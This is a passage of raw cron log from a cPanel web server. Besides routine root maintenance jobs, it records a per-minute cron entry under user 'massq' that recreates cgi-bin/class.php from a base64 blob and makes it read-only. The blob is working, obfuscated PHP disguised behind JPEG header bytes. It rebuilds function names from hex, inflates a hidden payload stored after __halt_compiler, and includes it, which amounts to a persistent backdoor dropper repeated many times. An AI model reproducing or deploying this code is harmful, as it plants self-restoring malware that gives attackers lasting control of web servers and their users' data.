QtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:27:01 server CROND[11752]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 05:27:01 server CROND[11753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:28:01 server CROND[11810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:29:01 server CROND[11865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:30:01 server CROND[11925]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 05:30:01 server CROND[11927]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 05:30:01 server CROND[11928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:30:01 server CROND[11926]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Apr  8 05:30:01 server CROND[11929]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 05:31:01 server CROND[12142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:32:01 server CROND[12220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:33:01 server CROND[12272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:34:01 server CROND[12325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:35:01 server CROND[12384]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  8 05:35:01 server CROND[12386]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 05:35:01 server CROND[12388]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 05:35:01 server CROND[12390]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 05:35:01 server CROND[12389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:36:01 server CROND[12506]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:37:01 server CROND[12648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:38:01 server CROND[12708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:39:01 server CROND[12771]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 05:39:01 server CROND[12772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:40:01 server CROND[12827]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 05:40:01 server CROND[12829]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 05:40:01 server CROND[12830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 